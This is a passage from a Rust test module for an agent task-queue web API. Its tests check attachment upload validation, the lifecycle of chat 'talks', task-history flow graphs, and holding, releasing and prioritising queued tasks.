10433                &format!("/api/talks/{id}/attachments"),
10434                &[("Content-Type", "image/svg+xml")],
10435                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
10436            )
10437            .await;
10438        assert!(
10439            (400..500).contains(&svg.status),
10440            "svg must be refused: {} {}",
10441            svg.status,
10442            svg.body
10443        );
10444        assert!(svg.body.contains("SVG"), "{}", svg.body);
10445
10446        let text = f
10447            .post_bytes(
10448                &format!("/api/talks/{id}/attachments"),
10449                &[("Content-Type", "text/plain")],
10450                b"just some text",
10451            )
10452            .await;
10453        assert!(
10454            (400..500).contains(&text.status),
10455            "an unlisted type must be refused: {} {}",
10456            text.status,
10457            text.body
10458        );
10459
10460        // The declared type is a real png, but the size check runs before
10461        // the bytes are even looked at.
10462        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
10463        let big = f
10464            .post_bytes(
10465                &format!("/api/talks/{id}/attachments"),
10466                &[("Content-Type", "image/png")],
10467                &oversized,
10468            )
10469            .await;
10470        assert_eq!(
10471            big.status,
10472            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
10473            "{}",
10474            big.body
10475        );
10476    }
10477
10478    #[tokio::test]
10479    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
10480        let f = Fixture::start().await;
10481        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
10482
10483        // A whitelisted `Content-Type`, but bytes that are not actually a
10484        // png - the declared header alone is never trusted.
10485        let res = f
10486            .post_bytes(
10487                &format!("/api/talks/{id}/attachments"),
10488                &[("Content-Type", "image/png")],
10489                b"<html>not a picture</html>",
10490            )
10491            .await;
10492        assert!((400..500).contains(&res.status), "{}", res.body);
10493    }
10494
10495    #[tokio::test]
10496    async fn an_unknown_attachment_id_is_a_404() {
10497        let f = Fixture::start().await;
10498        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
10499
10500        let res = f
10501            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
10502            .await;
10503        assert_eq!(res.status, 404, "{}", res.body);
10504    }
10505
10506    #[tokio::test]
10507    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
10508        let f = Fixture::start().await;
10509        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
10510
10511        let uploaded = f
10512            .post_bytes(
10513                &format!("/api/talks/{id}/attachments"),
10514                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
10515                PNG_BYTES,
10516            )
10517            .await;
10518        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
10519        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
10520
10521        let res = f
10522            .post(
10523                &format!("/api/talks/{id}/say"),
10524                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
10525            )
10526            .await;
10527        assert_eq!(res.status, 202, "{}", res.body);
10528        let queued = res.json();
10529        let turns = queued["turns"].as_array().expect("turns array");
10530        assert_eq!(
10531            turns.len(),
10532            1,
10533            "an empty body with an attachment is still a turn: {queued}"
10534        );
10535        assert_eq!(turns[0]["who"], "operator");
10536        assert_eq!(turns[0]["body"], "");
10537        let atts = turns[0]["attachments"]
10538            .as_array()
10539            .expect("attachments array");
10540        assert_eq!(atts.len(), 1);
10541        assert_eq!(atts[0]["id"], att_id);
10542        assert_eq!(atts[0]["mime"], "image/png");
10543
10544        // Not only in the response: `record` flushes to disk before the
10545        // agent's own turn is even spawned.
10546        let on_disk = f.talks().get(&id).expect("get");
10547        assert_eq!(on_disk.turns[0].attachments.len(), 1);
10548        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
10549    }
10550
10551    #[tokio::test]
10552    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
10553        let f = Fixture::start().await;
10554        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
10555
10556        let res = f
10557            .post(
10558                &format!("/api/talks/{id}/say"),
10559                Some(&format!(
10560                    r#"{{"text":"hi","attachments":["{}"]}}"#,
10561                    "a".repeat(32)
10562                )),
10563            )
10564            .await;
10565        assert!((400..500).contains(&res.status), "{}", res.body);
10566        assert!(res.body.contains("unknown attachment"), "{}", res.body);
10567
10568        let on_disk = f.talks().get(&id).expect("get");
10569        assert!(
10570            on_disk.turns.is_empty(),
10571            "a rejected attachment id must not partially record the turn: {:?}",
10572            on_disk.turns
10573        );
10574    }
10575
10576    #[tokio::test]
10577    async fn talk_close_makes_the_talk_refuse_further_turns() {
10578        let f = Fixture::start().await;
10579        let id = seed_talk(&f, "20260904-014455-cd34", "open");
10580
10581        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10582        assert_eq!(closed.status, 200, "{}", closed.body);
10583        assert_eq!(closed.json()["status"], "closed");
10584
10585        // Idempotent: closing an already-closed talk is not an error.
10586        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10587        assert_eq!(closed_again.status, 200);
10588        assert_eq!(closed_again.json()["status"], "closed");
10589
10590        let said = f
10591            .post(
10592                &format!("/api/talks/{id}/say"),
10593                Some(r#"{"text":"too late"}"#),
10594            )
10595            .await;
10596        assert_eq!(said.status, 409, "{}", said.body);
10597    }
10598
10599    #[tokio::test]
10600    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10601        let (_tmp, _repo, f) = talk_fixture().await;
10602        let id = f.post("/api/talks", None).await.json()["id"]
10603            .as_str()
10604            .expect("id")
10605            .to_owned();
10606        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10607        assert_eq!(closed.status, 200, "{}", closed.body);
10608
10609        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10610        assert_eq!(reopened.status, 200, "{}", reopened.body);
10611        assert_eq!(reopened.json()["status"], "open");
10612
10613        // Idempotent: reopening an already-open talk is not an error.
10614        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10615        assert_eq!(reopened_again.status, 200);
10616        assert_eq!(reopened_again.json()["status"], "open");
10617
10618        let said = f
10619            .post(
10620                &format!("/api/talks/{id}/say"),
10621                Some(r#"{"text":"still there?"}"#),
10622            )
10623            .await;
10624        assert_eq!(
10625            said.status, 202,
10626            "a reopened talk accepts turns again: {}",
10627            said.body
10628        );
10629    }
10630
10631    #[tokio::test]
10632    async fn talk_reopen_on_an_unknown_id_is_404() {
10633        let f = Fixture::start().await;
10634        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10635        assert_eq!(res.status, 404, "{}", res.body);
10636    }
10637
10638    #[tokio::test]
10639    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10640        let f = Fixture::start().await;
10641        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10642
10643        let deleted = f.delete(&format!("/api/talks/{id}")).await;
10644        assert_eq!(deleted.status, 204, "{}", deleted.body);
10645
10646        let after = f.get(&format!("/api/talks/{id}")).await;
10647        assert_eq!(after.status, 404, "{}", after.body);
10648
10649        let listed = f.get("/api/talks").await.json();
10650        assert!(
10651            listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10652            "a deleted talk must not linger in the list: {listed}"
10653        );
10654    }
10655
10656    #[tokio::test]
10657    async fn talk_delete_on_an_unknown_id_is_404() {
10658        let f = Fixture::start().await;
10659        let res = f.delete("/api/talks/nonexistent-id").await;
10660        assert_eq!(res.status, 404, "{}", res.body);
10661    }
10662
10663    /// A task's page lists every run it ever had, in order, and says what kind
10664    /// of attempt each was - including a resume, which re-pushes the same run
10665    /// id, and a run whose record this build cannot read.
10666    #[tokio::test]
10667    async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10668        let f = Fixture::start().await;
10669        let (a, b, gone) = (
10670            "20260902-140501-aaaa",
10671            "20260902-140502-bbbb",
10672            "20260902-140503-cccc",
10673        );
10674        write_run(&f.runs(), a, RunStatus::Stalled);
10675        let mut review = RunState::new(
10676            PathBuf::from("/repo/magi"),
10677            "main".to_owned(),
10678            "0123456789abcdef".to_owned(),
10679            "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10680                .to_owned(),
10681            Config::default(),
10682        );
10683        review.id = b.to_owned();
10684        review.status = RunStatus::Merged;
10685        write_state(&f.runs(), &review);
10686
10687        let mut task = Task::new(
10688            "retry".to_owned(),
10689            "Do the thing".to_owned(),
10690            PathBuf::from("/repo/magi"),
10691            Source::Human,
10692        );
10693        task.start(a.to_owned());
10694        task.stall("quota");
10695        task.start(a.to_owned());
10696        task.start(b.to_owned());
10697        task.start(gone.to_owned());
10698        f.queue().put(&mut task).expect("file the task");
10699
10700        let res = f.get(&format!("/api/queue/{}", task.id)).await;
10701        assert_eq!(res.status, 200, "{}", res.body);
10702        let v = res.json();
10703        let h = v["history"].as_array().expect("history");
10704        assert_eq!(h.len(), 4, "{v}");
10705        assert_eq!(h[0]["kind"], "competition");
10706        assert_eq!(h[0]["status"], "stalled");
10707        assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10708        assert_eq!(h[1]["kind"], "resume", "{v}");
10709        assert!(
10710            h[0]["outcome"]
10711                .as_str()
10712                .unwrap()
10713                .contains("unknown. Pass #2"),
10714            "an earlier pass of a resumed run must not claim the final outcome: {v}"
10715        );
10716        assert!(
10717            !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10718            "{v}"
10719        );
10720        assert!(
10721            !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10722            "an unrecorded cause must not be narrated as an operator park: {v}"
10723        );
10724        assert_eq!(h[2]["kind"], "review");
10725        assert!(
10726            h[2]["description"]
10727                .as_str()
10728                .unwrap()
10729                .contains("magi/aaaa/A")
10730        );
10731        assert_eq!(h[2]["status"], "merged");
10732        assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10733        assert_eq!(v["runs_unreadable"], 1);
10734        let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10735        assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10736        assert_eq!(nodes[4]["note"], "unreadable");
10737        assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10738        assert_eq!(v["instruction"], "Do the thing");
10739        assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10740
10741        // The run's own page links back to the task.
10742        let run = f.get(&format!("/api/runs/{a}")).await.json();
10743        assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10744
10745        assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10746    }
10747
10748    fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10749        let mut s = RunState::new(
10750            PathBuf::from("/repo/magi"),
10751            "main".to_owned(),
10752            "0123456789abcdef".to_owned(),
10753            "Do it".to_owned(),
10754            Config::default(),
10755        );
10756        s.status = status;
10757        edit(&mut s);
10758        s
10759    }
10760
10761    fn flow_task(runs: &[&str]) -> Task {
10762        let mut t = Task::new(
10763            "t".to_owned(),
10764            "Do it".to_owned(),
10765            PathBuf::from("/repo/magi"),
10766            Source::Human,
10767        );
10768        for r in runs {
10769            t.start((*r).to_owned());
10770        }
10771        t
10772    }
10773
10774    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10775        let h = task_history(task, |id| {
10776            states
10777                .iter()
10778                .find(|(i, _)| *i == id)
10779                .and_then(|(_, s)| s.clone())
10780        });
10781        task_flow(task, &h, 5, None)
10782    }
10783
10784    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10785        crate::queue::FollowUp {
10786            run: "20260901-000000-aaaa".to_owned(),
10787            origin_task: origin_task.map(str::to_owned),
10788            pr: "https://example.com/o/r/pull/1".to_owned(),
10789            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10790                .map(str::to_owned)
10791                .to_vec(),
10792            generation: 1,
10793        }
10794    }
10795
10796    fn parent_task() -> Task {
10797        let mut p = flow_task(&[]);
10798        p.title = "Parent title".to_owned();
10799        p.status = TaskStatus::Done;
10800        p
10801    }
10802
10803    #[test]
10804    fn flow_opens_with_the_parent_task_of_a_followup() {
10805        let p = parent_task();
10806        let pid = p.id.clone();
10807        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10808        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10809        let n = &f.nodes[0];
10810        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10811        assert_eq!(
10812            n.label,
10813            format!("Follow-up of {}", crate::queue::short(&pid))
10814        );
10815        assert_eq!(n.detail.as_deref(), Some("Parent title"));
10816        assert_eq!(n.status, Some("done"));
10817        assert_eq!(n.status_of, "task");
10818        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10819        assert_eq!(f.nodes[1].key, "start");
10820        assert_eq!(f.edges[0].from, "origin");
10821        assert_eq!(
10822            f.edges[0].label,
10823            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10824        );
10825    }
10826
10827    #[test]
10828    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10829        let o = followup_origin(
10830            &fu(Some("gone")),
10831            |_| None,
10832            |_| {
10833                Some(RunState::new(
10834                    std::path::PathBuf::from("."),
10835                    "main".to_owned(),
10836                    "0".to_owned(),
10837                    "t".to_owned(),
10838                    crate::config::Config::default(),
10839                ))
10840            },
10841        );
10842        assert!(o.parent.is_none());
10843        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10844        let n = &f.nodes[0];
10845        assert_eq!(n.status_of, "run");
10846        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10847        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10848    }
10849
10850    #[test]
10851    fn flow_followup_with_nothing_readable_has_no_link() {
10852        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10853        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10854        let n = &f.nodes[0];
10855        assert_eq!(n.href, None);
10856        assert_eq!(n.note, Some("unreadable"));
10857        assert!(!n.readable);
10858    }
10859
10860    #[test]
10861    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10862        let o = followup_origin(&fu(None), |_| None, |_| None);
10863        let mut t = flow_task(&[]);
10864        t.origin_chat = Some("c1".to_owned());
10865        let f = task_flow(&t, &[], 5, Some(&o));
10866        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10867        t.source = Source::Agent {
10868            run: "c1".to_owned(),
10869            node: crate::queue::CHAT_NODE.to_owned(),
10870        };
10871        let f = task_flow(&t, &[], 5, Some(&o));
10872        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10873        assert_eq!(
10874            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10875            ("chat", "origin")
10876        );
10877    }
10878
10879    #[test]
10880    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10881        let mut p = parent_task();
10882        p.id = "a b/c".to_owned();
10883        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10884        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10885    }
10886
10887    #[test]
10888    fn flow_opens_with_the_chat_that_queued_the_task() {
10889        let mut t = flow_task(&[]);
10890        t.source = Source::Agent {
10891            run: "a b/c".to_owned(),
10892            node: crate::queue::CHAT_NODE.to_owned(),
10893        };
10894        let f = flow_for(&t, &[]);
10895        assert_eq!(f.nodes[0].key, "chat");
10896        assert_eq!(f.nodes[0].kind, "chat");
10897        assert_eq!(
10898            f.nodes[0].label,
10899            format!("Chat {}", crate::queue::short("a b/c"))
10900        );
10901        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10902        assert_eq!(f.nodes[1].key, "start");
10903        assert_eq!(
10904            f.edges[0],
10905            FlowEdge {
10906                from: "chat".to_owned(),
10907                to: "start".to_owned(),
10908                label: "queued from chat".to_owned(),
10909                attempt: AttemptCost::None,
10910            }
10911        );
10912    }
10913
10914    #[test]
10915    fn flow_has_no_chat_box_for_other_sources() {
10916        for source in [
10917            Source::Human,
10918            Source::Issue {
10919                number: 3,
10920                repo: "o/r".to_owned(),
10921            },
10922            Source::Agent {
10923                run: "20260904-014455-ab12".to_owned(),
10924                node: "implement".to_owned(),
10925            },
10926        ] {
10927            let mut t = flow_task(&[]);
10928            t.source = source;
10929            let f = flow_for(&t, &[]);
10930            assert_eq!(f.nodes[0].key, "start");
10931            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10932            assert!(f.edges.iter().all(|e| e.from != "chat"));
10933        }
10934    }
10935
10936    const FA: &str = "20260902-140501-aaaa";
10937    const FB: &str = "20260902-140502-bbbb";
10938
10939    #[test]
10940    fn flow_follows_blocked_retry_merged_to_done() {
10941        let mut t = flow_task(&[FA, FB]);
10942        t.status = TaskStatus::Done;
10943        let f = flow_for(
10944            &t,
10945            &[
10946                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10947                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10948            ],
10949        );
10950        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10951        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10952        assert_eq!(f.edges.len(), 3);
10953        assert_eq!(f.edges[0].label, "claimed");
10954        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10955        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10956        assert_eq!(f.edges[2].label, "merged \u{2192} done");
10957        assert_eq!(
10958            f.nodes[2].href.as_deref(),
10959            Some("#/runs/20260902-140502-bbbb")
10960        );
10961        assert!(f.nodes[2].decided);
10962    }
10963
10964    #[test]
10965    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10966        let quota = || {
10967            flow_run(RunStatus::Stalled, |s| {
10968                s.quota.push(crate::run::QuotaLoss {
10969                    seat: "judge-1".to_owned(),
10970                    node: "judge".to_owned(),
10971                    at: Timestamp::now(),
10972                    reset: None,
10973                })
10974            })
10975        };
10976        let mut t = flow_task(&[FA, FA]);
10977        t.status = TaskStatus::Queued;
10978        let f = flow_for(&t, &[(FA, Some(quota()))]);
10979        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10980        assert_eq!(f.nodes[1].note, Some("interrupted"));
10981        assert_eq!(
10982            f.nodes[1].status, None,
10983            "no outcome copied onto an earlier pass"
10984        );
10985        assert_eq!(
10986            f.edges[1].attempt,
10987            AttemptCost::Unknown,
10988            "a resume does not prove the earlier pass was refunded"
10989        );
10990        assert!(f.edges[1].label.contains("resume the same run"));
10991        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10992        assert_eq!(
10993            f.edges[2].label,
10994            "stalled after a resume, refund unknown \u{2192} queued"
10995        );
10996        assert!(!f.nodes[2].decided, "a stall is not a decision");
10997        assert_eq!(f.nodes[2].note, Some("no verdict"));
10998    }
10999
11000    #[test]
11001    fn flow_single_pass_quota_stall_is_refunded() {
11002        let t = flow_task(&[FA]);
11003        let f = flow_for(
11004            &t,
11005            &[(
11006                FA,
11007                Some(flow_run(RunStatus::Stalled, |s| {
11008                    s.quota.push(crate::run::QuotaLoss {
11009                        seat: "judge-1".to_owned(),
11010                        node: "judge".to_owned(),
11011                        at: Timestamp::now(),
11012                        reset: None,
11013                    })
11014                })),
11015            )],
11016        );
11017        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11018    }
11019
11020    #[test]
11021    fn flow_parked_refunds_and_stall_without_quota_spends() {
11022        let mut t = flow_task(&[FA]);
11023        t.status = TaskStatus::Queued;
11024        let f = flow_for(
11025            &t,
11026            &[(
11027                FA,
11028                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11029            )],
11030        );
11031        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11032        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11033        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11034        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11035        assert!(!f.nodes[1].decided);
11036    }
11037
11038    #[test]
11039    fn flow_keeps_an_unreadable_run_as_its_own_node() {
11040        let t = flow_task(&[FA, FB]);
11041        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11042        assert_eq!(f.nodes[1].note, Some("unreadable"));
11043        assert!(!f.nodes[1].readable);
11044        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11045        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11046    }
11047
11048    #[test]
11049    fn flow_names_the_branch_of_a_review_only_run() {
11050        let t = flow_task(&[FA]);
11051        let f = flow_for(
11052            &t,
11053            &[(
11054                FA,
11055                Some(flow_run(RunStatus::Merged, |s| {
11056                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11057                })),
11058            )],
11059        );
11060        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11061        assert_eq!(
11062            f.nodes[1].detail.as_deref(),
11063            Some("review-only run of branch magi/x/A")
11064        );
11065    }
11066
11067    #[test]
11068    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11069        let mut t = flow_task(&[FA]);
11070        t.status = TaskStatus::Held;
11071        let pr = crate::run::PrRecord {
11072            url: "https://example.test/pr/1".to_owned(),
11073            number: 1,
11074            state: "open".to_owned(),
11075            checks: "green".to_owned(),
11076            round: 0,
11077            rounds: 3,
11078            red_at_merge: Vec::new(),
11079        };
11080        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11081        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11082        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11083        t.status = TaskStatus::Done;
11084        let f = flow_for(&t, &[(FA, Some(blocked))]);
11085        assert_eq!(f.edges[1].label, "closed by hand: task is done");
11086    }
11087
11088    #[test]
11089    fn flow_with_no_runs_goes_from_queued_to_queued() {
11090        let t = flow_task(&[]);
11091        let f = flow_for(&t, &[]);
11092        assert_eq!(f.nodes.len(), 2);
11093        assert_eq!(f.edges.len(), 1);
11094        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11095        assert_eq!(f.edges[0].attempt, AttemptCost::None);
11096    }
11097
11098    /// A run parked mid-flight keeps a non-terminal status; the page must
11099    /// still say why it stopped and that the attempt came back.
11100    #[test]
11101    fn a_parked_non_terminal_run_is_explained_as_parked() {
11102        let mut s = RunState::new(
11103            PathBuf::from("/repo/magi"),
11104            "main".to_owned(),
11105            "0123456789abcdef".to_owned(),
11106            "Do it".to_owned(),
11107            Config::default(),
11108        );
11109        s.status = RunStatus::Implementing;
11110        s.parked = true;
11111        let task = Task::new(
11112            "t".to_owned(),
11113            "Do it".to_owned(),
11114            PathBuf::from("/repo/magi"),
11115            Source::Human,
11116        );
11117        let v = task_run_view(
11118            "20260902-140501-aaaa",
11119            Some(&s),
11120            RunSlot {
11121                n: 1,
11122                resumed: false,
11123                resumed_later: None,
11124                prior: None,
11125                last: true,
11126            },
11127            &task,
11128        );
11129        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11130    }
11131
11132    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11133        let mut s = flow_run(RunStatus::Implementing, edit);
11134        s.parked = false;
11135        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11136        task_run_view(
11137            "20260902-140501-aaaa",
11138            Some(&s),
11139            RunSlot {
11140                n: 1,
11141                resumed: false,
11142                resumed_later: Some(2),
11143                prior: None,
11144                last: false,
11145            },
11146            &task,
11147        )
11148    }
11149
11150    #[test]
11151    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11152        let v = earlier_pass_view(|_| {});
11153        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
11154        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11155        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
11156        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
11157        assert_eq!(v.exit, RunExit::Interrupted);
11158        assert_eq!(v.attempt, AttemptCost::Unknown);
11159    }
11160
11161    #[test]
11162    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
11163        let v = earlier_pass_view(|s| {
11164            s.quota.push(crate::run::QuotaLoss {
11165                seat: "judge-1".to_owned(),
11166                node: "judge".to_owned(),
11167                at: Timestamp::now(),
11168                reset: None,
11169            });
11170        });
11171        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
11172        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11173        assert_eq!(v.attempt, AttemptCost::Unknown);
11174    }
11175
11176    #[test]
11177    fn the_current_pass_states_its_recorded_cause_and_cost() {
11178        let slot = || RunSlot {
11179            n: 1,
11180            resumed: false,
11181            resumed_later: None,
11182            prior: None,
11183            last: true,
11184        };
11185        let task = flow_task(&["20260902-140501-aaaa"]);
11186        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
11187        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
11188        assert_eq!(
11189            (v.exit, v.attempt),
11190            (RunExit::Parked, AttemptCost::Refunded)
11191        );
11192        let spent = flow_run(RunStatus::Blocked, |_| {});
11193        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
11194        assert_eq!(v.attempt, AttemptCost::Spent);
11195        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
11196    }
11197
11198    #[tokio::test]
11199    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
11200        let f = Fixture::start().await;
11201        let queue = f.queue();
11202        let mut task = Task::new(
11203            "spent".to_owned(),
11204            "Try again".to_owned(),
11205            PathBuf::from("/repo/magi"),
11206            Source::Human,
11207        );
11208        task.start("20260902-140502-bbbb".to_owned());
11209        task.fail("agent gave up", 9);
11210        queue.put(&mut task).expect("file the task");
11211
11212        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11213        assert_eq!(held.status, 200);
11214        assert_eq!(held.json()["status_str"], "held");
11215
11216        let released = f
11217            .post(&format!("/api/queue/{}/release", task.id), None)
11218            .await;
11219        assert_eq!(released.status, 200);
11220        assert_eq!(released.json()["status_str"], "queued");
11221        assert_eq!(
11222            released.json()["attempts"],
11223            0,
11224            "release is a real second chance, not an instant re-hold"
11225        );
11226        assert_eq!(
11227            queue.get(&task.id).expect("reload").status,
11228            TaskStatus::Queued,
11229            "the change is on disk, not only in the reply"
11230        );
11231        assert!(
11232            !f.home
11233                .path()
11234                .join("queue")
11235                .join(format!("{}.lock", task.id))
11236                .exists(),
11237            "the claim the mutation took is released again"
11238        );
11239    }
11240
11241    #[tokio::test]
11242    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
11243        let f = Fixture::start().await;
11244        let queue = f.queue();
11245        let mut task = Task::new(
11246            "busy".to_owned(),
11247            "Running right now".to_owned(),
11248            PathBuf::from("/repo/magi"),
11249            Source::Human,
11250        );
11251        queue.put(&mut task).expect("file the task");
11252        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11253
11254        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11255
11256        assert_eq!(res.status, 409);
11257        assert_eq!(
11258            queue.get(&task.id).expect("reload").status,
11259            TaskStatus::Queued,
11260            "the refused hold changed nothing"
11261        );
11262    }
11263
11264    #[tokio::test]
11265    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
11266        let f = Fixture::start().await;
11267        let queue = f.queue();
11268        let mut task = Task::new(
11269            "waiting on the migration".to_owned(),
11270            "Do the thing".to_owned(),
11271            PathBuf::from("/repo/magi"),
11272            Source::Human,
11273        );
11274        queue.put(&mut task).expect("file the task");
11275
11276        let held = f
11277            .post(
11278                &format!("/api/queue/{}/hold", task.id),
11279                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
11280            )
11281            .await;
11282        assert_eq!(held.status, 200, "{}", held.body);
11283        assert_eq!(held.json()["status_str"], "held");
11284        assert_eq!(
11285            held.json()["hold_reason"],
11286            "waiting for 20260101-000000-aaaa to land"
11287        );
11288
11289        let listed = f.get("/api/queue").await.json();
11290        assert_eq!(
11291            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
11292            "the card reads the reason off the same list route"
11293        );
11294
11295        // A hold with no body at all must keep working - most holds have no
11296        // reason to give.
11297        let mut plain = Task::new(
11298            "no reason given".to_owned(),
11299            "Do another thing".to_owned(),
11300            PathBuf::from("/repo/magi"),
11301            Source::Human,
11302        );
11303        queue.put(&mut plain).expect("file the task");
11304        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
11305        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
11306        assert!(held_plain.json()["hold_reason"].is_null());
11307
11308        let released = f
11309            .post(&format!("/api/queue/{}/release", task.id), None)
11310            .await;
11311        assert_eq!(released.status, 200);
11312        assert!(
11313            released.json()["hold_reason"].is_null(),
11314            "a release must clear the reason so the next hold does not inherit it"
11315        );
11316    }
11317
11318    #[tokio::test]
11319    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
11320        let f = Fixture::start().await;
11321        let queue = f.queue();
11322        let mut older = Task::new(
11323            "filed first".to_owned(),
11324            "x".to_owned(),
11325            PathBuf::from("/repo/magi"),
11326            Source::Human,
11327        );
11328        older.id = "20260101-000001-aaaa".to_owned();
11329        let mut newer = Task::new(
11330            "filed second".to_owned(),
11331            "x".to_owned(),
11332            PathBuf::from("/repo/magi"),
11333            Source::Human,
11334        );
11335        newer.id = "20260101-000002-bbbb".to_owned();
11336        queue.put(&mut older).expect("file older");
11337        queue.put(&mut newer).expect("file newer");
11338
11339        // Equal priority: the newer task leads, the same order the old
